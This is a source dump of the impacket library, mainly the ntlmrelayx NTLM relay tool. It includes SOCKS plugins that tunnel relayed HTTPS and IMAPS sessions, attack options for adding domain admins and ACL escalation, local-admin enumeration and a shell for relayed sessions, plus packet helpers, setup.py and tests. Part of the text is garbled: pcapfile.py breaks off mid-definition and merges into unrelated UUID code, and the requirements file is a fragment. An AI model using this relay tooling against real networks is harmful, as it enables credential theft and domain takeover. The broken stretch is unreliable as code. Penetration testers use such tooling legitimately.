self.session.close() 83 | self.session = None 84 | 85 | def keepAlive(self): 86 | # Send a NOOP 87 | self.session.noop() 88 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | from httprelayserver import HTTPRelayServer 2 | from smbrelayserver import SMBRelayServer 3 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import pkg_resources 4 | 5 | SOCKS_RELAYS = set() 6 | 7 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 8 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 9 | continue 10 | 11 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 12 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 13 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 14 | SOCKS_RELAYS.add(pluginClass) 15 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the HTTPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 14 | # 15 | # ToDo: 16 | # 17 | 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 20 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 21 | from OpenSSL import SSL 22 | 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin: 25 | PLUGIN_CLASS = "HTTPSSocksRelay" 26 | EOL = '\r\n' 27 | 28 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 29 | PLUGIN_NAME = 'HTTPS Socks Plugin' 30 | PLUGIN_SCHEME = 'HTTPS' 31 | 32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 33 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 34 | 35 | @staticmethod 36 | def getProtocolPort(): 37 | return 443 38 | 39 | def skipAuthentication(self): 40 | LOG.debug('Wrapping client connection in TLS/SSL') 41 | self.wrapClientConnection() 42 | if not HTTPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | return True 47 | 48 | def tunnelConnection(self): 49 | while True: 50 | try: 51 | data = self.socksSocket.recv(self.packetSize) 52 | except SSL.ZeroReturnError: 53 | # The SSL connection was closed, return 54 | return 55 | # Pass the request to the server 56 | tosend = self.prepareRequest(data) 57 | self.relaySocket.send(tosend) 58 | # Send the response back to the client 59 | self.transferResponse() 60 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the IMAPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 14 | # 15 | # ToDo: 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "IMAPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 28 | PLUGIN_NAME = 'IMAPS Socks Plugin' 29 | PLUGIN_SCHEME = 'IMAPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 993 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | try: 42 | if not IMAPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | except Exception, e: 47 | LOG.debug('IMAPS: %s' % str(e)) 48 | return False 49 | # Change our outgoing socket to the SSL object of IMAP4_SSL 50 | self.relaySocket = self.session.sslobj 51 | return True 52 | 53 | def tunnelConnection(self): 54 | keyword = '' 55 | tag = '' 56 | while True: 57 | try: 58 | data = self.socksSocket.recv(self.packetSize) 59 | except SSL.ZeroReturnError: 60 | # The SSL connection was closed, return 61 | break 62 | # Set the new keyword, unless it is false, then break out of the function 63 | result = self.processTunnelData(keyword, tag, data) 64 | if result is False: 65 | break 66 | # If its not false, it's a tuple with the keyword and tag 67 | keyword, tag = result 68 | 69 | if tag != '': 70 | # Store the tag in the session so we can continue 71 | tag = int(tag) 72 | if self.idleState is True: 73 | self.relaySocket.sendall('DONE%s' % EOL) 74 | self.relaySocketFile.readline() 75 | 76 | if self.shouldClose: 77 | tag += 1 78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 79 | self.relaySocketFile.readline() 80 | 81 | self.session.tagnum = tag + 1 82 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/config.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Configuration class which holds the config specified on the 14 | # command line, this can be passed to the tools' servers and clients 15 | class NTLMRelayxConfig: 16 | def __init__(self): 17 | 18 | self.daemon = True 19 | 20 | # Set the value of the interface ip address 21 | self.interfaceIp = None 22 | 23 | self.listeningPort = None 24 | 25 | self.domainIp = None 26 | self.machineAccount = None 27 | self.machineHashes = None 28 | self.target = None 29 | self.mode = None 30 | self.redirecthost = None 31 | self.outputFile = None 32 | self.attacks = None 33 | self.lootdir = None 34 | self.randomtargets = False 35 | self.encoding = None 36 | self.ipv6 = False 37 | 38 | #WPAD options 39 | self.serve_wpad = False 40 | self.wpad_host = None 41 | self.wpad_auth_num = 0 42 | self.smb2support = False 43 | 44 | #WPAD options 45 | self.serve_wpad = False 46 | self.wpad_host = None 47 | self.wpad_auth_num = 0 48 | self.smb2support = False 49 | 50 | # SMB options 51 | self.exeFile = None 52 | self.command = None 53 | self.interactive = False 54 | self.enumLocalAdmins = False 55 | 56 | # LDAP options 57 | self.dumpdomain = True 58 | self.addda = True 59 | self.aclattack = True 60 | self.validateprivs = True 61 | self.escalateuser = None 62 | 63 | # MSSQL options 64 | self.queries = [] 65 | 66 | # Registered protocol clients 67 | self.protocolClients = {} 68 | 69 | # SOCKS options 70 | self.runSocks = False 71 | self.socksServer = None 72 | 73 | 74 | def setSMB2Support(self, value): 75 | self.smb2support = value 76 | 77 | def setProtocolClients(self, clients): 78 | self.protocolClients = clients 79 | 80 | def setInterfaceIp(self, ip): 81 | self.interfaceIp = ip 82 | 83 | def setListeningPort(self, port): 84 | self.listeningPort = port 85 | 86 | def setRunSocks(self, socks, server): 87 | self.runSocks = socks 88 | self.socksServer = server 89 | 90 | def setOutputFile(self, outputFile): 91 | self.outputFile = outputFile 92 | 93 | def setTargets(self, target): 94 | self.target = target 95 | 96 | def setExeFile(self, filename): 97 | self.exeFile = filename 98 | 99 | def setCommand(self, command): 100 | self.command = command 101 | 102 | def setEnumLocalAdmins(self, enumLocalAdmins): 103 | self.enumLocalAdmins = enumLocalAdmins 104 | 105 | def setEncoding(self, encoding): 106 | self.encoding = encoding 107 | 108 | def setMode(self, mode): 109 | self.mode = mode 110 | 111 | def setAttacks(self, attacks): 112 | self.attacks = attacks 113 | 114 | def setLootdir(self, lootdir): 115 | self.lootdir = lootdir 116 | 117 | def setRedirectHost(self,redirecthost): 118 | self.redirecthost = redirecthost 119 | 120 | def setDomainAccount( self, machineAccount, machineHashes, domainIp): 121 | self.machineAccount = machineAccount 122 | self.machineHashes = machineHashes 123 | self.domainIp = domainIp 124 | 125 | def setRandomTargets(self, randomtargets): 126 | self.randomtargets = randomtargets 127 | 128 | def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess): 129 | self.dumpdomain = dumpdomain 130 | self.addda = addda 131 | self.aclattack = aclattack 132 | self.validateprivs = validateprivs 133 | self.escalateuser = escalateuser 134 | self.addcomputer = addcomputer 135 | self.delegateaccess = delegateaccess 136 | 137 | def setMSSQLOptions(self, queries): 138 | self.queries = queries 139 | 140 | def setInteractive(self, interactive): 141 | self.interactive = interactive 142 | 143 | def setIMAPOptions(self, keyword, mailbox, dump_all, dump_max): 144 | self.keyword = keyword 145 | self.mailbox = mailbox 146 | self.dump_all = dump_all 147 | self.dump_max = dump_max 148 | 149 | def setIPv6(self, use_ipv6): 150 | self.ipv6 = use_ipv6 151 | 152 | def setWpadOptions(self, wpad_host, wpad_auth_num): 153 | if wpad_host != None: 154 | self.serve_wpad = True 155 | self.wpad_host = wpad_host 156 | self.wpad_auth_num = wpad_auth_num 157 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Ronnie Flathers / @ropnop 11 | # 12 | # Description: 13 | # Helpful enum methods for discovering local admins through SAMR and LSAT 14 | 15 | from impacket.dcerpc.v5 import transport, lsat, lsad, samr 16 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 17 | from impacket.dcerpc.v5.rpcrt import DCERPCException 18 | from impacket.dcerpc.v5.samr import SID_NAME_USE 19 | 20 | 21 | class EnumLocalAdmins: 22 | def __init__(self, smbConnection): 23 | self.__smbConnection = smbConnection 24 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 25 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 26 | 27 | def __getDceBinding(self, strBinding): 28 | rpc = transport.DCERPCTransportFactory(strBinding) 29 | rpc.set_smb_connection(self.__smbConnection) 30 | return rpc.get_dce_rpc() 31 | 32 | def getLocalAdmins(self): 33 | adminSids = self.__getLocalAdminSids() 34 | adminNames = self.__resolveSids(adminSids) 35 | return adminSids, adminNames 36 | 37 | def __getLocalAdminSids(self): 38 | dce = self.__getDceBinding(self.__samrBinding) 39 | dce.connect() 40 | dce.bind(samr.MSRPC_UUID_SAMR) 41 | resp = samr.hSamrConnect(dce) 42 | serverHandle = resp['ServerHandle'] 43 | 44 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 45 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 46 | domainHandle = resp['DomainHandle'] 47 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544) 48 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 49 | memberSids = [] 50 | for member in resp['Members']['Sids']: 51 | memberSids.append(member['SidPointer'].formatCanonical()) 52 | dce.disconnect() 53 | return memberSids 54 | 55 | def __resolveSids(self, sids): 56 | dce = self.__getDceBinding(self.__lsaBinding) 57 | dce.connect() 58 | dce.bind(lsat.MSRPC_UUID_LSAT) 59 | resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 60 | policyHandle = resp['PolicyHandle'] 61 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 62 | names = [] 63 | for n, item in enumerate(resp['TranslatedNames']['Names']): 64 | names.append(u"{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'].encode('utf-16-le'), item['Name'])) 65 | dce.disconnect() 66 | return names 67 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SSL utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Various functions and classes for SSL support: 14 | # - generating certificates 15 | # - creating SSL capable SOCKS protocols 16 | # 17 | # Most of the SSL generation example code comes from the pyopenssl examples 18 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 19 | # 20 | # Made available under the Apache license by the pyopenssl team 21 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 22 | import os 23 | from OpenSSL import crypto, SSL 24 | from impacket import LOG 25 | 26 | # This certificate is not supposed to be exposed on the network 27 | # but only used for the local SOCKS plugins 28 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 29 | def generateImpacketCert(certname='/tmp/impacket.crt'): 30 | # Create a private key 31 | pkey = crypto.PKey() 32 | pkey.generate_key(crypto.TYPE_RSA, 2048) 33 | 34 | # Create the certificate 35 | cert = crypto.X509() 36 | cert.gmtime_adj_notBefore(0) 37 | # Valid for 5 years 38 | cert.gmtime_adj_notAfter(60*60*24*365*5) 39 | subj = cert.get_subject() 40 | subj.CN = 'impacket' 41 | cert.set_pubkey(pkey) 42 | cert.sign(pkey, "sha256") 43 | # We write both from the same file 44 | with open(certname, 'w') as certfile: 45 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 46 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 47 | LOG.debug('Wrote certificate to %s' % certname) 48 | 49 | # Class to wrap the client socket in SSL when serving as a SOCKS server 50 | class SSLServerMixin(object): 51 | # This function will wrap the socksSocket in an SSL layer 52 | def wrapClientConnection(self, cert='/tmp/impacket.crt'): 53 | # Create a context, we don't really care about the SSL/TLS 54 | # versions used since it is only intended for local use and thus 55 | # doesn't have to be super-secure 56 | ctx = SSL.Context(SSL.SSLv23_METHOD) 57 | try: 58 | ctx.use_privatekey_file(cert) 59 | ctx.use_certificate_file(cert) 60 | except SSL.Error: 61 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 62 | generateImpacketCert(cert) 63 | ctx.use_privatekey_file(cert) 64 | ctx.use_certificate_file(cert) 65 | 66 | sslSocket = SSL.Connection(ctx, self.socksSocket) 67 | sslSocket.set_accept_state() 68 | 69 | # Now set this property back to the SSL socket instead of the regular one 70 | self.socksSocket = sslSocket 71 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # TCP interactive shell 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Launches a TCP shell for interactive use of clients 14 | # after successful relaying 15 | import socket 16 | #Default listen port 17 | port = 11000 18 | class TcpShell: 19 | def __init__(self): 20 | global port 21 | self.port = port 22 | #Increase the default port for the next attack 23 | port += 1 24 | 25 | def listen(self): 26 | #Set up the listening socket 27 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | #Bind on localhost 29 | serversocket.bind(('127.0.0.1', self.port)) 30 | #Don't allow a backlog 31 | serversocket.listen(0) 32 | self.connection, host = serversocket.accept() 33 | #Create a file object from the socket 34 | self.socketfile = self.connection.makefile() -------------------------------------------------------------------------------- /impacket/helper.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # Helper used to build ProtocolPackets 9 | # 10 | # Author: 11 | # Aureliano Calvo 12 | 13 | 14 | import struct 15 | import functools 16 | 17 | import impacket.ImpactPacket as ip 18 | 19 | 20 | def rebind(f): 21 | functools.wraps(f) 22 | def rebinder(*args, **kwargs): 23 | return f(*args, **kwargs) 24 | 25 | return rebinder 26 | 27 | class Field(object): 28 | def __init__(self, index): 29 | self.index = index 30 | 31 | def __call__(self, k, d): 32 | getter = rebind(self.getter) 33 | getter_name = "get_" + k 34 | getter.__name__ = getter_name 35 | getter.__doc__ = "Get the %s field" % k 36 | d[getter_name] = getter 37 | 38 | setter = rebind(self.setter) 39 | setter_name = "set_" + k 40 | setter.__name__ = setter_name 41 | setter.__doc__ = "Set the %s field" % k 42 | d["set_" + k] = setter 43 | 44 | d[k] = property(getter, setter, doc="%s property" % k) 45 | 46 | class Bit(Field): 47 | def __init__(self, index, bit_number): 48 | Field.__init__(self, index) 49 | self.mask = 2 ** bit_number 50 | self.off_mask = (~self.mask) & 0xff 51 | 52 | def getter(self, o): 53 | return (o.header.get_byte(self.index) & self.mask) != 0 54 | 55 | def setter(self, o, value=True): 56 | b = o.header.get_byte(self.index) 57 | if value: 58 | b |= self.mask 59 | else: 60 | b &= self.off_mask 61 | 62 | o.header.set_byte(self.index, b) 63 | 64 | class Byte(Field): 65 | 66 | def __init__(self, index): 67 | Field.__init__(self, index) 68 | 69 | def getter(self, o): 70 | return o.header.get_byte(self.index) 71 | 72 | def setter(self, o, value): 73 | o.header.set_byte(self.index, value) 74 | 75 | class Word(Field): 76 | def __init__(self, index, order="!"): 77 | Field.__init__(self, index) 78 | self.order = order 79 | 80 | def getter(self, o): 81 | return o.header.get_word(self.index, self.order) 82 | 83 | def setter(self, o, value): 84 | o.header.set_word(self.index, value, self.order) 85 | 86 | class Long(Field): 87 | def __init__(self, index, order="!"): 88 | Field.__init__(self, index) 89 | self.order = order 90 | 91 | def getter(self, o): 92 | return o.header.get_long(self.index, self.order) 93 | 94 | def setter(self, o, value): 95 | o.header.set_long(self.index, value, self.order) 96 | 97 | class ThreeBytesBigEndian(Field): 98 | def __init__(self, index): 99 | Field.__init__(self, index) 100 | 101 | def getter(self, o): 102 | b=o.header.get_bytes()[self.index:self.index+3].tostring() 103 | #unpack requires a string argument of length 4 and b is 3 bytes long 104 | (value,)=struct.unpack('!L', '\x00'+b) 105 | return value 106 | 107 | def setter(self, o, value): 108 | # clear the bits 109 | mask = ((~0xFFFFFF00) & 0xFF) 110 | masked = o.header.get_long(self.index, ">") & mask 111 | # set the bits 112 | nb = masked | ((value & 0x00FFFFFF) << 8) 113 | o.header.set_long(self.index, nb, ">") 114 | 115 | 116 | class ProtocolPacketMetaklass(type): 117 | def __new__(cls, name, bases, d): 118 | d["_fields"] = [] 119 | items = d.items() 120 | if not object in bases: 121 | bases += (object,) 122 | for k,v in items: 123 | if isinstance(v, Field): 124 | d["_fields"].append(k) 125 | v(k, d) 126 | 127 | d["_fields"].sort() 128 | 129 | def _fields_repr(self): 130 | return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields ) 131 | def __repr__(self): 132 | 133 | return "<%(name)s %(fields)s \nchild:%(r_child)s>" % { 134 | "name": name, 135 | "fields": self._fields_repr(), 136 | "r_child": repr(self.child()), 137 | } 138 | 139 | d["_fields_repr"] = _fields_repr 140 | d["__repr__"] = __repr__ 141 | 142 | return type.__new__(cls, name, bases, d) 143 | 144 | class ProtocolPacket(ip.ProtocolPacket): 145 | __metaclass__ = ProtocolPacketMetaklass 146 | 147 | def __init__(self, buff = None): 148 | ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size) 149 | if buff: 150 | self.load_packet(buff) 151 | 152 | -------------------------------------------------------------------------------- /impacket/krb5/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/ldap/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/pcapfile.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | 8 | from impacket import ImpactPacket, ImpactDecoder, structure 9 | 10 | O_ETH = 0 11 | O_IP = 1 12 | O_ARP = 1 13 | O_UDP = 2 14 | O_TCP = 2 15 | O_ICMP = 2 16 | O_UDP_DATA = 3 17 | O_ICMP_DATA = 3 18 | 19 | MAGIC = '"\xD4\xC3\xB2\xA1' 20 | 21 | class PCapFileHeader(structure.Structure): 22 | structure = ( 23 | ('magic', MAGIC), 24 | ('versionMajor', 'HHL', uuid[8:16]) 28 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 29 | 30 | def string_to_bin(uuid): 31 | matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid) 32 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = map(lambda x: long(x, 16), matches.groups()) 33 | uuid = pack('HHL', uuid4, uuid5, uuid6) 35 | return uuid 36 | 37 | def stringver_to_bin(s): 38 | (maj,min) = s.split('.') 39 | return pack('=0.2.3 2 | pycryptodomex 3 | pyOpenSSL>=0.16.2 4 | ldap3>=2.5 5 | ldapdomaindump 6 | flask>=1.0 7 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # $Id$ 3 | 4 | import glob 5 | import os 6 | import platform 7 | import sys 8 | 9 | from setuptools import setup 10 | 11 | PACKAGE_NAME = "impacket" 12 | 13 | if platform.system() != 'Darwin': 14 | data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))] 15 | else: 16 | data_files = [] 17 | 18 | def read(fname): 19 | return open(os.path.join(os.path.dirname(__file__), fname)).read() 20 | 21 | setup(name = PACKAGE_NAME, 22 | version = "0.9.19-dev", 23 | description = "Network protocols Constructors and Dissectors", 24 | url = "https://www.secureauth.com/labs/open-source-tools/impacket", 25 | author = "SecureAuth Corporation", 26 | author_email = "oss@secureauth.com", 27 | maintainer = "Alberto Solino", 28 | maintainer_email = "bethus@gmail.com", 29 | license = "Apache modified", 30 | long_description = read('README.md'), 31 | long_description_content_type="text/markdown", 32 | platforms = ["Unix","Windows"], 33 | packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom', 34 | 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 35 | 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', 36 | 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils', 37 | 'impacket.examples.ntlmrelayx.attacks'], 38 | scripts = glob.glob(os.path.join('examples', '*.py')), 39 | data_files = data_files, 40 | install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3>=2.5.0', 'ldapdomaindump', 'flask>=1.0'], 41 | extras_require={ 42 | 'pyreadline:sys_platform=="win32"': [], 43 | ':python_version<"2.7"': [ 'argparse' ], 44 | }, 45 | classifiers = [ 46 | "Programming Language :: Python :: 2.7", 47 | "Programming Language :: Python :: 2.6", 48 | ] 49 | ) 50 | 51 | -------------------------------------------------------------------------------- /tests/ImpactPacket/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /tests/ImpactPacket/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /tests/ImpactPacket/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../..:$PYTHONPATH 5 | 6 | if [ $# -gt 0 ] 7 | then 8 | # Only run coverage when called by tox 9 | RUN="coverage run --append --rcfile=../coveragerc " 10 | else 11 | RUN=python 12 | fi 13 | 14 | total=0 15 | ok=0 16 | failed=0 17 | for file in `ls *.py` ; do 18 | echo $separator 19 | echo Executing $RUN $file 20 | latest=$( 21 | $RUN $file 2>&1 | { 22 | while read line; do 23 | echo " $line" 1>&2 24 | latest="$line" 25 | done 26 | echo $latest 27 | } 28 | ) 29 | #echo Latest ${latest} 30 | result=${latest:0:6} 31 | if [ "$result" = "FAILED" ] 32 | then 33 | (( failed++ )) 34 | elif [ "$result" = "OK" ] 35 | then 36 | (( ok++ )) 37 | fi 38 | 39 | (( total++ )) 40 | done 41 | echo $separator 42 | echo Summary: 43 | echo " OK $ok/$total" 44 | echo " $failed FAILED" 45 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_IP6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | #Impact test version 4 | try: 5 | from impacket import IP6_Address, IP6, ImpactDecoder 6 | except: 7 | pass 8 | 9 | #Standalone test version 10 | try: 11 | import sys 12 | sys.path.insert(0,"../..") 13 | import IP6_Address, IP6, ImpactDecoder 14 | except: 15 | pass 16 | 17 | import unittest 18 | 19 | class TestIP6(unittest.TestCase): 20 | 21 | def setUp(self): 22 | #Version 6, traffic class 72, flow label 148997, payload length 1500 23 | #next header 17 (UDP), hop limit 1 24 | #source addr FE80::78F8:89D1:30FF:256B 25 | #dest addr FF02::1:3 26 | self.binary_packet = [ 27 | 0x64, 0x82, 0x46, 0x05, 28 | 0x05, 0xdc, 0x11, 0x01, 29 | 0xfe, 0x80, 0x00, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 31 | 0x78, 0xf8, 0x89, 0xd1, 32 | 0x30, 0xff, 0x25, 0x6b, 33 | 0xff, 0x02, 0x00, 0x00, 34 | 0x00, 0x00, 0x00, 0x00, 35 | 0x00, 0x00, 0x00, 0x00, 36 | 0x00, 0x01, 0x00, 0x03] 37 | 38 | def test_decoding(self): 39 | '''Test IP6 Packet decoding.''' 40 | 41 | 42 | d = ImpactDecoder.IP6Decoder() 43 | parsed_packet = d.decode(self.binary_packet) 44 | 45 | protocol_version = parsed_packet.get_ip_v() 46 | traffic_class = parsed_packet.get_traffic_class() 47 | flow_label = parsed_packet.get_flow_label() 48 | payload_length = parsed_packet.get_payload_length() 49 | next_header = parsed_packet.get_next_header() 50 | hop_limit = parsed_packet.get_hop_limit() 51 | source_address = parsed_packet.get_ip_src() 52 | destination_address = parsed_packet.get_ip_dst() 53 | 54 | self.assertEquals(protocol_version, 6, "IP6 parsing - Incorrect protocol version") 55 | self.assertEquals(traffic_class, 72, "IP6 parsing - Incorrect traffic class") 56 | self.assertEquals(flow_label, 148997, "IP6 parsing - Incorrect flow label") 57 | self.assertEquals(payload_length, 1500, "IP6 parsing - Incorrect payload length") 58 | self.assertEquals(next_header, 17, "IP6 parsing - Incorrect next header") 59 | self.assertEquals(hop_limit, 1, "IP6 parsing - Incorrect hop limit") 60 | self.assertEquals(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address") 61 | self.assertEquals(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address") 62 | 63 | def test_creation(self): 64 | '''Test IP6 Packet creation.''' 65 | 66 | crafted_packet = IP6.IP6() 67 | crafted_packet.set_traffic_class(72) 68 | crafted_packet.set_flow_label(148997) 69 | crafted_packet.set_payload_length(1500) 70 | crafted_packet.set_next_header(17) 71 | crafted_packet.set_hop_limit(1) 72 | crafted_packet.set_ip_src("FE80::78F8:89D1:30FF:256B") 73 | crafted_packet.set_ip_dst("FF02::1:3") 74 | crafted_buffer = crafted_packet.get_bytes().tolist() 75 | self.assertEquals(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch") 76 | 77 | 78 | suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6) 79 | unittest.TextTestRunner(verbosity=1).run(suite) 80 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_TCP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | #Impact test version 4 | try: 5 | from impacket.ImpactDecoder import EthDecoder 6 | from impacket.ImpactPacket import TCP 7 | except: 8 | pass 9 | 10 | #Standalone test version 11 | try: 12 | import sys 13 | sys.path.insert(0,"../..") 14 | from ImpactDecoder import EthDecoder 15 | from ImpactPacket import TCP 16 | except: 17 | pass 18 | 19 | from binascii import hexlify 20 | import unittest 21 | 22 | class TestTCP(unittest.TestCase): 23 | 24 | def setUp(self): 25 | # TCP - sport: 60655, dport: 80, sec: 0, HLen: 